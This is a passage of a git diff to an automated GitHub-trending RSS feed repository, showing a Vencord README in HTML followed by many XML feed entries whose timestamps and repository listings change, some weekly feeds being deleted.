hLXfgCIUDfDi6oiR8rzBJzyl8LnkD9KZVCOU8aLN5eoshnJ+Qh4bFJC4gztmEjgrtk5anaKnWWfXfpIuBTLjmSpSILw/E0laq7LuGxsIngVCYmIa96hLRG3TaZ1C/KTfjAEQLFIO8TPFk7aH/RZI8kMWrdgEs8udqXLKSUoMkEW4ETEQTRsoHyPlVZfmVw+Uuy3hR9bVHBQAMD0XPu/Ew24dqqH777K/La1DiKCxyYlRRzQymgG4+oyDxZOTdxZnp5r3wvEWmJ5btuL8W4uzbJh87LitLebdOFVpKSJx4IlwIzbL81CcYLO8iSX/IImGQCYae6Wg/2tXQNjNnW7LPDKyilqZd7ETU2zEBlifNTSS4i9PNFIx44x4jh2nZlBsUr0dN8QP/6XVhEaHJvnlfhtkXd/NF0BUextKRFXFznfGk+JDdcX8tdBHtDa6YpFsB4I9ac88omf8wbEgqa2XAIOme6bM35foqrQ+QZIKwGG80ifVbrXZZNGDfhOVYBvviS9JMMoaP3AEcQpPnHdOxiMGXkKbrx4dGfZY5c4T8H9+vmwAeqXFLXOKXW9r59fWuDA44sKv1byAOBzyCkTH+kdS2f4MLPgXJI0p9T17vrFxcf181GVxEUB+0qfIqt+RcKWFSWGNR4ygd4RTpW4HiCJgFWzstmnSPA7ZLU827pypPwxDB/687GXl1X6Vs6bbGz/LRN80hZCT+yLFZ0cgHED4egACeiXm89GsP9EePuzy4rvGil7jAGYmQDsBjDHUBYZ4GhHBMfORigd4rpnyIS9u6d4rqgnGrUtjCmmSYuOqwB0GcwjbWh9xviurpNnxnDA1IspMPe6bOL755MHJvhKjIgOA7jbJD4pw22Thj+kSIW47h2KRaydVezeP57sCdspRPQqgGeNJJIuBAE+ReJUiOv32mXaXjPZs21C2QnmXgdghyEsMoRfkVMiDgCywF/by9z3xJMb1wCxeHAPgDczZpAh/Iq+HSYmDjCsstgThmf5t4ii8eQm7CgS0SCA5QBezoRApnBaBSyCEhIHCLJEb4ZUd+2SqZSwzE+qpUpEQ9CC4qb01M8cRIQsh8zxiKsMtsn08nvlnrpkyAPj5AGJwMw3AtgGwJ/q2ExxvHsQB74KxfKBMblAyGmTHq4pc4/5GjQeUm6qE9FrAK4E8H6ie41GlkN/jTk6F5Ak2ueUpNmpkgfSMAAAENERAAsB3AHgZDoy0oFdFnBYpXPEBfU4beLRD6Z4qmumug+kIzPjaoeZfQDWAHgAQFam8hLh4MkwWjsHemyS2OF08IYrCjynzZ4zKTCzi5nXMvOnzBw16bevIxR95JOj7DNKb1PqXWa+HMDtAGoBXII0lxq0N2OfAmgA8Hsi2muMhudgesHPzNkA5gKoADADwFRoS8UHQO+x9wLoBNAB4AsAnwM4AOADIjLVxf8L9kdXUOE0IskAAAAASUVORK5CYII=" alt="Codeberg Mirror"></a></p> <p>The cutest Discord client mod</p> <p><img src="https://github.com/Vendicated/Vencord/assets/45497981/706722b1-32de-4d99-bee9-93993b504334" alt="image"></p> <h2>Features</h2> <ul> <li>Super easy to install (Download Installer, open, click install button, done)</li> <li>100+ plugins built in: <a href="https://vencord.dev/plugins">See a list</a> <ul> <li>Some highlights: SpotifyControls, MessageLogger, Experiments, GameActivityToggle, Translate, NoTrack, QuickReply, Free Emotes/Stickers, PermissionsViewer, CustomCommands, ShowHiddenChannels, PronounDB</li> </ul> </li> <li>Fairly lightweight despite the many inbuilt plugins</li> <li>Excellent Browser Support: Run Vencord in your Browser via extension or UserScript</li> <li>Works on any Discord branch: Stable, Canary or PTB all work (though for the best experience I recommend stable!)</li> <li>Custom CSS and Themes: Inbuilt css editor with support to import any css files (including BetterDiscord themes)</li> <li>Privacy friendly, blocks Discord analytics &amp; crash reporting out of the box and has no telemetry</li> <li>Maintained very actively, broken plugins are usually fixed within 12 hours</li> <li>Settings sync: Keep your plugins and their settings synchronised between devices / apps (optional)</li> </ul> <h2>Installing / Uninstalling</h2> <p>Visit <a href="https://vencord.dev/download">https://vencord.dev/download</a></p> <h2>Join our Support/Community Server</h2> <p><a href="https://discord.gg/D9uwnFnqmd">https://discord.gg/D9uwnFnqmd</a></p> <h2>Star History</h2> <a href="https://star-history.com/#Vendicated/Vencord&amp;Timeline"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/svg?repos=Vendicated/Vencord&amp;type=Timeline&amp;theme=dark"> <source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/svg?repos=Vendicated/Vencord&amp;type=Timeline"> <img alt="Star History Chart" src="https://api.star-history.com/svg?repos=Vendicated/Vencord&amp;type=Timeline"> </picture> </a> <h2>Disclaimer</h2> <p>Discord is trademark of Discord Inc. and solely mentioned for the sake of descriptivity. Mention of it does not imply any affiliation with or endorsement by Discord Inc.</p> <details> <summary>Using Vencord violates Discord's terms of service</summary> <p>Client modifications are against Discord’s Terms of Service.</p> <p>However, Discord is pretty indifferent about them and there are no known cases of users getting banned for using client mods! So you should generally be fine as long as you don’t use any plugins that implement abusive behaviour. But no worries, all inbuilt plugins are safe to use!</p> <p>Regardless, if your account is very important to you and it getting disabled would be a disaster for you, you should probably not use any client mods (not exclusive to Vencord), just to be safe</p> <p>Additionally, make sure not to post screenshots with Vencord in a server where you might get banned for it</p> </details> - - \ No newline at end of file diff --git a/unified-parallel-c/daily/index.xml b/unified-parallel-c/daily/index.xml index 33b215e8568..6d50fc7f50f 100644 --- a/unified-parallel-c/daily/index.xml +++ b/unified-parallel-c/daily/index.xml @@ -1,7 +1,7 @@ GitHub Unified Parallel C Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:32Z + 2023-10-30T01:37:26Z Daily Trending of Unified Parallel C in GitHub \ No newline at end of file diff --git a/unified-parallel-c/weekly/index.xml b/unified-parallel-c/weekly/index.xml deleted file mode 100644 index f0782967a75..00000000000 --- a/unified-parallel-c/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Unified Parallel C Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:59Z - Weekly Trending of Unified Parallel C in GitHub - - \ No newline at end of file diff --git a/unity3d-asset/daily/index.xml b/unity3d-asset/daily/index.xml index c84ae3c9688..5dd0088763c 100644 --- a/unity3d-asset/daily/index.xml +++ b/unity3d-asset/daily/index.xml @@ -1,7 +1,7 @@ GitHub Unity3D Asset Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:31Z + 2023-10-30T01:37:25Z Daily Trending of Unity3D Asset in GitHub \ No newline at end of file diff --git a/unity3d-asset/weekly/index.xml b/unity3d-asset/weekly/index.xml deleted file mode 100644 index ce720acc72b..00000000000 --- a/unity3d-asset/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Unity3D Asset Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:58Z - Weekly Trending of Unity3D Asset in GitHub - - \ No newline at end of file diff --git a/unix-assembly/daily/index.xml b/unix-assembly/daily/index.xml index 4408f0f3f30..caad90ea068 100644 --- a/unix-assembly/daily/index.xml +++ b/unix-assembly/daily/index.xml @@ -1,7 +1,7 @@ GitHub Unix Assembly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:51Z + 2023-10-30T01:37:39Z Daily Trending of Unix Assembly in GitHub \ No newline at end of file diff --git a/unix-assembly/weekly/index.xml b/unix-assembly/weekly/index.xml deleted file mode 100644 index b6a3b031a88..00000000000 --- a/unix-assembly/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Unix Assembly Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:12Z - Weekly Trending of Unix Assembly in GitHub - - \ No newline at end of file diff --git a/unknown/daily/index.xml b/unknown/daily/index.xml index 2a39a619dc5..608243395e0 100644 --- a/unknown/daily/index.xml +++ b/unknown/daily/index.xml @@ -1,28 +1,28 @@ GitHub Unknown Languages Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:26:22Z + 2023-10-30T01:23:42Z Daily Trending of Unknown Languages in GitHub - deepseek-ai/DreamCraft3D - 2023-10-29T01:26:22Z - tag:github.com,2023-10-29:/deepseek-ai/DreamCraft3D - - <p>Official implementation of DreamCraft3D: Hierarchical 3D Generation with Bootstrapped Diffusion Prior</p><hr> + vercel/geist-font + 2023-10-30T01:23:42Z + tag:github.com,2023-10-30:/vercel/geist-font + + <p></p><hr> - gtech-mulearn/Top-100-Coders - 2023-10-29T01:26:22Z - tag:github.com,2023-10-29:/gtech-mulearn/Top-100-Coders - - <p>Kerala Top 100 Coders - Huddle Global 2023. Join our coding challenge and showcase your skills. Connect with startups and industries in Kerala's vibrant tech ecosystem</p><hr> + brootware/awesome-cyber-security-university + 2023-10-30T01:23:42Z + tag:github.com,2023-10-30:/brootware/awesome-cyber-security-university + + <p>🎓 Because Education should be free. Contributions welcome! 🕵️</p><hr> - P3N-101/ResourceKit - 2023-10-29T01:26:22Z - tag:github.com,2023-10-29:/P3N-101/ResourceKit - - <p></p><hr> + 21Z/Microsoft-Office-2021 + 2023-10-30T01:23:42Z + tag:github.com,2023-10-30:/21Z/Microsoft-Office-2021 + + <p>Download and Activate Microsoft Office 2021 (Latest) for free. (Legal)</p><hr> \ No newline at end of file diff --git a/unknown/weekly/index.xml b/unknown/weekly/index.xml deleted file mode 100644 index 1ab745e1c29..00000000000 --- a/unknown/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Unknown languages Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:17Z - Weekly Trending of Unknown languages in GitHub - - - ByteByteGoHq/system-design-101 - 2023-10-29T01:46:17Z - tag:github.com,2023-10-29:/ByteByteGoHq/system-design-101 - - <p>Explain complex systems using visuals and simple terms. Help you prepare for system design interviews.</p><hr> - - - daveshap/ChatGPT_Custom_Instructions - 2023-10-29T01:46:17Z - tag:github.com,2023-10-29:/daveshap/ChatGPT_Custom_Instructions - - <p>Repo of custom instructions that you can use for ChatGPT</p><hr> - - - AnthonyCalandra/modern-cpp-features - 2023-10-29T01:46:17Z - tag:github.com,2023-10-29:/AnthonyCalandra/modern-cpp-features - - <p>A cheatsheet of modern C++ language and library features.</p><hr> - - \ No newline at end of file diff --git a/uno/daily/index.xml b/uno/daily/index.xml index f3d8ddff115..c9dd4b7ff5d 100644 --- a/uno/daily/index.xml +++ b/uno/daily/index.xml @@ -1,7 +1,7 @@ GitHub Uno Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:50Z + 2023-10-30T01:37:40Z Daily Trending of Uno in GitHub \ No newline at end of file diff --git a/uno/weekly/index.xml b/uno/weekly/index.xml deleted file mode 100644 index 1fe4cb2c417..00000000000 --- a/uno/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Uno Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:10Z - Weekly Trending of Uno in GitHub - - \ No newline at end of file diff --git a/unrealscript/daily/index.xml b/unrealscript/daily/index.xml index 26da2672092..a1d318429a2 100644 --- a/unrealscript/daily/index.xml +++ b/unrealscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub UnrealScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:49Z + 2023-10-30T01:37:39Z Daily Trending of UnrealScript in GitHub \ No newline at end of file diff --git a/unrealscript/weekly/index.xml b/unrealscript/weekly/index.xml deleted file mode 100644 index 01f7c10679b..00000000000 --- a/unrealscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub UnrealScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:10Z - Weekly Trending of UnrealScript in GitHub - - \ No newline at end of file diff --git a/urweb/daily/index.xml b/urweb/daily/index.xml index 6d751edcd4b..265afaadba6 100644 --- a/urweb/daily/index.xml +++ b/urweb/daily/index.xml @@ -1,7 +1,7 @@ GitHub UrWeb Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:52Z + 2023-10-30T01:37:41Z Daily Trending of UrWeb in GitHub \ No newline at end of file diff --git a/urweb/weekly/index.xml b/urweb/weekly/index.xml deleted file mode 100644 index 8c6f7ed6365..00000000000 --- a/urweb/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub UrWeb Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:11Z - Weekly Trending of UrWeb in GitHub - - \ No newline at end of file diff --git a/v/daily/index.xml b/v/daily/index.xml index 0eb1ba5dbc1..35efec8d882 100644 --- a/v/daily/index.xml +++ b/v/daily/index.xml @@ -1,7 +1,7 @@ GitHub V Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:55Z + 2023-10-30T01:37:43Z Daily Trending of V in GitHub \ No newline at end of file diff --git a/v/weekly/index.xml b/v/weekly/index.xml deleted file mode 100644 index de44bd04f21..00000000000 --- a/v/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub V Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:16Z - Weekly Trending of V in GitHub - - \ No newline at end of file diff --git a/vala/daily/index.xml b/vala/daily/index.xml index f14a21a13f1..38565bd18e8 100644 --- a/vala/daily/index.xml +++ b/vala/daily/index.xml @@ -1,7 +1,7 @@ GitHub Vala Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:56Z + 2023-10-30T01:37:44Z Daily Trending of Vala in GitHub \ No newline at end of file diff --git a/vala/weekly/index.xml b/vala/weekly/index.xml deleted file mode 100644 index ac6b0acd625..00000000000 --- a/vala/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Vala Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:15Z - Weekly Trending of Vala in GitHub - - \ No newline at end of file diff --git a/valve-data-format/daily/index.xml b/valve-data-format/daily/index.xml index 0a1030f0844..e9814bfcb20 100644 --- a/valve-data-format/daily/index.xml +++ b/valve-data-format/daily/index.xml @@ -1,7 +1,7 @@ GitHub Valve Data Format Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:53Z + 2023-10-30T01:37:43Z Daily Trending of Valve Data Format in GitHub \ No newline at end of file diff --git a/valve-data-format/weekly/index.xml b/valve-data-format/weekly/index.xml deleted file mode 100644 index cad82934476..00000000000 --- a/valve-data-format/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Valve Data Format Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:16Z - Weekly Trending of Valve Data Format in GitHub - - \ No newline at end of file diff --git a/vba/daily/index.xml b/vba/daily/index.xml index 25941aa9525..f5df0bb49c8 100644 --- a/vba/daily/index.xml +++ b/vba/daily/index.xml @@ -1,7 +1,7 @@ GitHub VBA Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:54Z + 2023-10-30T01:37:42Z Daily Trending of VBA in GitHub \ No newline at end of file diff --git a/vba/weekly/index.xml b/vba/weekly/index.xml deleted file mode 100644 index d3f52bba1f5..00000000000 --- a/vba/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub VBA Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:13Z - Weekly Trending of VBA in GitHub - - \ No newline at end of file diff --git a/vbscript/daily/index.xml b/vbscript/daily/index.xml index 7cd6a78c3a8..f28042b2d8a 100644 --- a/vbscript/daily/index.xml +++ b/vbscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub VBScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:01Z + 2023-10-30T01:37:46Z Daily Trending of VBScript in GitHub \ No newline at end of file diff --git a/vbscript/weekly/index.xml b/vbscript/weekly/index.xml deleted file mode 100644 index 21b24016ffe..00000000000 --- a/vbscript/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub VBScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:22Z - Weekly Trending of VBScript in GitHub - - - onx/ILOVEYOU - 2023-10-29T02:04:22Z - tag:github.com,2023-10-29:/onx/ILOVEYOU - - <p>Formatted and commented source code of ILOVEYOU/Love Letter</p><hr> - - \ No newline at end of file diff --git a/vcl/daily/index.xml b/vcl/daily/index.xml index 5ae3372255d..243067b3be0 100644 --- a/vcl/daily/index.xml +++ b/vcl/daily/index.xml @@ -1,7 +1,7 @@ GitHub VCL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:58Z + 2023-10-30T01:37:47Z Daily Trending of VCL in GitHub \ No newline at end of file diff --git a/vcl/weekly/index.xml b/vcl/weekly/index.xml deleted file mode 100644 index db313883d2b..00000000000 --- a/vcl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub VCL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:18Z - Weekly Trending of VCL in GitHub - - \ No newline at end of file diff --git a/verilog/daily/index.xml b/verilog/daily/index.xml index 5e862f42aa9..de400c012b6 100644 --- a/verilog/daily/index.xml +++ b/verilog/daily/index.xml @@ -1,7 +1,7 @@ GitHub Verilog Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:00Z + 2023-10-30T01:37:49Z Daily Trending of Verilog in GitHub \ No newline at end of file diff --git a/verilog/weekly/index.xml b/verilog/weekly/index.xml deleted file mode 100644 index 10b247006a3..00000000000 --- a/verilog/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Verilog Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:21Z - Weekly Trending of Verilog in GitHub - - \ No newline at end of file diff --git a/vhdl/daily/index.xml b/vhdl/daily/index.xml index 09364306d7e..8708288930b 100644 --- a/vhdl/daily/index.xml +++ b/vhdl/daily/index.xml @@ -1,7 +1,7 @@ GitHub VHDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:05Z + 2023-10-30T01:37:50Z Daily Trending of VHDL in GitHub \ No newline at end of file diff --git a/vhdl/weekly/index.xml b/vhdl/weekly/index.xml deleted file mode 100644 index 0488f21e222..00000000000 --- a/vhdl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub VHDL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:24Z - Weekly Trending of VHDL in GitHub - - \ No newline at end of file diff --git a/vim-help-file/daily/index.xml b/vim-help-file/daily/index.xml index 179dfc18956..c8da232f54b 100644 --- a/vim-help-file/daily/index.xml +++ b/vim-help-file/daily/index.xml @@ -1,7 +1,7 @@ GitHub Vim Help File Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:02Z + 2023-10-30T01:37:50Z Daily Trending of Vim Help File in GitHub \ No newline at end of file diff --git a/vim-help-file/weekly/index.xml b/vim-help-file/weekly/index.xml deleted file mode 100644 index aa041b1d6b5..00000000000 --- a/vim-help-file/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Vim Help File Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:25Z - Weekly Trending of Vim Help File in GitHub - - \ No newline at end of file diff --git a/vim-script/daily/index.xml b/vim-script/daily/index.xml index f0a4b70a3f8..a370b1a2570 100644 --- a/vim-script/daily/index.xml +++ b/vim-script/daily/index.xml @@ -1,28 +1,7 @@ GitHub Vim Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:08Z + 2023-10-30T01:37:53Z Daily Trending of Vim Script in GitHub - - jtickle/.vim - 2023-10-29T01:45:08Z - tag:github.com,2023-10-29:/jtickle/.vim - - <p>My Vim Configuration</p><hr> - - - psi/dotfiles - 2023-10-29T01:45:08Z - tag:github.com,2023-10-29:/psi/dotfiles - - <p>My dotfiles</p><hr> - - - tommcdo/vim-lion - 2023-10-29T01:45:08Z - tag:github.com,2023-10-29:/tommcdo/vim-lion - - <p>A simple alignment operator for Vim text editor</p><hr> - \ No newline at end of file diff --git a/vim-script/weekly/index.xml b/vim-script/weekly/index.xml deleted file mode 100644 index 897d11fc20d..00000000000 --- a/vim-script/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Vim Script Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:28Z - Weekly Trending of Vim Script in GitHub - - - roxma/nvim-yarp - 2023-10-29T02:04:28Z - tag:github.com,2023-10-29:/roxma/nvim-yarp - - <p>Yet Another Remote Plugin Framework for Neovim</p><hr> - - - dhruvasagar/vim-table-mode - 2023-10-29T02:04:28Z - tag:github.com,2023-10-29:/dhruvasagar/vim-table-mode - - <p>VIM Table Mode for instant table creation.</p><hr> - - - kien/ctrlp.vim - 2023-10-29T02:04:28Z - tag:github.com,2023-10-29:/kien/ctrlp.vim - - <p>Fuzzy file, buffer, mru, tag, etc finder.</p><hr> - - \ No newline at end of file diff --git a/vim-snippet/daily/index.xml b/vim-snippet/daily/index.xml index db6db54277c..342ee351de1 100644 --- a/vim-snippet/daily/index.xml +++ b/vim-snippet/daily/index.xml @@ -1,7 +1,7 @@ GitHub Vim Snippet Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:03Z + 2023-10-30T01:37:51Z Daily Trending of Vim Snippet in GitHub \ No newline at end of file diff --git a/vim-snippet/weekly/index.xml b/vim-snippet/weekly/index.xml deleted file mode 100644 index 26633c0b399..00000000000 --- a/vim-snippet/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Vim Snippet Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:23Z - Weekly Trending of Vim Snippet in GitHub - - \ No newline at end of file diff --git a/visual-basic-.net/daily/index.xml b/visual-basic-.net/daily/index.xml index 719169b0613..c4d065213ec 100644 --- a/visual-basic-.net/daily/index.xml +++ b/visual-basic-.net/daily/index.xml @@ -1,7 +1,7 @@ GitHub Visual Basic .NET Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:11Z + 2023-10-30T01:37:57Z Daily Trending of Visual Basic .NET in GitHub \ No newline at end of file diff --git a/visual-basic-.net/weekly/index.xml b/visual-basic-.net/weekly/index.xml deleted file mode 100644 index 0961a26aee9..00000000000 --- a/visual-basic-.net/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Visual Basic .NET Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:32Z - Weekly Trending of Visual Basic .NET in GitHub - - - dtee/scraper - 2023-10-29T02:04:32Z - tag:github.com,2023-10-29:/dtee/scraper - - <p>My Senior Project... from 2007.</p><hr> - - \ No newline at end of file diff --git a/volt/daily/index.xml b/volt/daily/index.xml index 44c6b297a99..f470b243644 100644 --- a/volt/daily/index.xml +++ b/volt/daily/index.xml @@ -1,7 +1,7 @@ GitHub Volt Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:09Z + 2023-10-30T01:37:56Z Daily Trending of Volt in GitHub \ No newline at end of file diff --git a/volt/weekly/index.xml b/volt/weekly/index.xml deleted file mode 100644 index ef3435a0b9c..00000000000 --- a/volt/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Volt Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:31Z - Weekly Trending of Volt in GitHub - - \ No newline at end of file diff --git a/vue/daily/index.xml b/vue/daily/index.xml index f37eedf592f..6f3693128e9 100644 --- a/vue/daily/index.xml +++ b/vue/daily/index.xml @@ -1,28 +1,7 @@ GitHub Vue Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:18Z + 2023-10-30T01:38:01Z Daily Trending of Vue in GitHub - - Deeptrain-Community/fystart - 2023-10-29T01:45:18Z - tag:github.com,2023-10-29:/Deeptrain-Community/fystart - - <p>🍏 极目起始页,一个简洁的起始页,实现一言,工具箱,实用卡片,国际化,设置,ChatGPT搜索建议,翻译功能,自定义设置,搜索引擎建议,离线访问等功能 🍏 An intuitive start page implementing quotes, toolbox, utility cards, settings, ChatGPT search suggestions, internationalization, custom settings, search engine suggestions, translation, offline access, etc.</p><hr> - - - pevaristo/example-deploy - 2023-10-29T01:45:18Z - tag:github.com,2023-10-29:/pevaristo/example-deploy - - <p>Example Deploy</p><hr> - - - SMU-AWSCloudClub/wad2_workshop - 2023-10-29T01:45:18Z - tag:github.com,2023-10-29:/SMU-AWSCloudClub/wad2_workshop - - <p></p><hr> - \ No newline at end of file diff --git a/vue/weekly/index.xml b/vue/weekly/index.xml deleted file mode 100644 index 3a6593716f1..00000000000 --- a/vue/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub Vue Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:38Z - Weekly Trending of Vue in GitHub - - - fluidd-core/fluidd - 2023-10-29T02:04:38Z - tag:github.com,2023-10-29:/fluidd-core/fluidd - - <p>Fluidd, the klipper UI.</p><hr> - - - buqiyuan/vue3-antdv-admin - 2023-10-29T02:04:38Z - tag:github.com,2023-10-29:/buqiyuan/vue3-antdv-admin - - <p>基于 vite4.x/vue-cli5.x + vue3.x + ant-design-vue4.x + typescript hooks 的基础后台管理系统模板 RBAC的权限系统, JSON Schema动态表单,动态表格,漂亮锁屏界面</p><hr> - - \ No newline at end of file diff --git a/vyper/daily/index.xml b/vyper/daily/index.xml index 34f302e32cc..90d5d5a0202 100644 --- a/vyper/daily/index.xml +++ b/vyper/daily/index.xml @@ -1,7 +1,7 @@ GitHub Vyper Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:14Z + 2023-10-30T01:37:58Z Daily Trending of Vyper in GitHub \ No newline at end of file diff --git a/vyper/weekly/index.xml b/vyper/weekly/index.xml deleted file mode 100644 index 8f84765e9eb..00000000000 --- a/vyper/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Vyper Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:34Z - Weekly Trending of Vyper in GitHub - - \ No newline at end of file diff --git a/wavefront-material/daily/index.xml b/wavefront-material/daily/index.xml index 37e63e42d04..b88ac0c4c57 100644 --- a/wavefront-material/daily/index.xml +++ b/wavefront-material/daily/index.xml @@ -1,7 +1,7 @@ GitHub Wavefront Material Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:13Z + 2023-10-30T01:37:59Z Daily Trending of Wavefront Material in GitHub \ No newline at end of file diff --git a/wavefront-material/weekly/index.xml b/wavefront-material/weekly/index.xml deleted file mode 100644 index 76f9ca6267e..00000000000 --- a/wavefront-material/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Wavefront Material Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:33Z - Weekly Trending of Wavefront Material in GitHub - - \ No newline at end of file diff --git a/wavefront-object/daily/index.xml b/wavefront-object/daily/index.xml index b904ad6b40d..c0e196615d8 100644 --- a/wavefront-object/daily/index.xml +++ b/wavefront-object/daily/index.xml @@ -1,7 +1,7 @@ GitHub Wavefront Object Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:15Z + 2023-10-30T01:37:58Z Daily Trending of Wavefront Object in GitHub \ No newline at end of file diff --git a/wavefront-object/weekly/index.xml b/wavefront-object/weekly/index.xml deleted file mode 100644 index 0e27ef1ed2d..00000000000 --- a/wavefront-object/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Wavefront Object Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:35Z - Weekly Trending of Wavefront Object in GitHub - - \ No newline at end of file diff --git a/wdl/daily/index.xml b/wdl/daily/index.xml index 78050b45f90..729d5adcf88 100644 --- a/wdl/daily/index.xml +++ b/wdl/daily/index.xml @@ -1,7 +1,7 @@ GitHub WDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:21Z + 2023-10-30T01:38:02Z Daily Trending of WDL in GitHub \ No newline at end of file diff --git a/wdl/weekly/index.xml b/wdl/weekly/index.xml deleted file mode 100644 index f1a56eca21a..00000000000 --- a/wdl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub WDL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:41Z - Weekly Trending of WDL in GitHub - - \ No newline at end of file diff --git a/web-ontology-language/daily/index.xml b/web-ontology-language/daily/index.xml index 995b50edd5e..b89e571dd15 100644 --- a/web-ontology-language/daily/index.xml +++ b/web-ontology-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub Web Ontology Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:45:19Z + 2023-10-30T01:38:03Z Daily Trending of Web Ontology Language in GitHub \ No newline at end of file diff --git a/web-ontology-language/weekly/index.xml b/web-ontology-language/weekly/index.xml deleted file mode 100644 index f723b82889d..00000000000 --- a/web-ontology-language/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Web Ontology Language Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:04:42Z - Weekly Trending of Web Ontology Language in GitHub - - \ No newline at end of file diff --git a/webassembly/daily/index.xml b/webassembly/daily/index.xml index 5889bd678e4..6dbff3e04eb 100644 --- 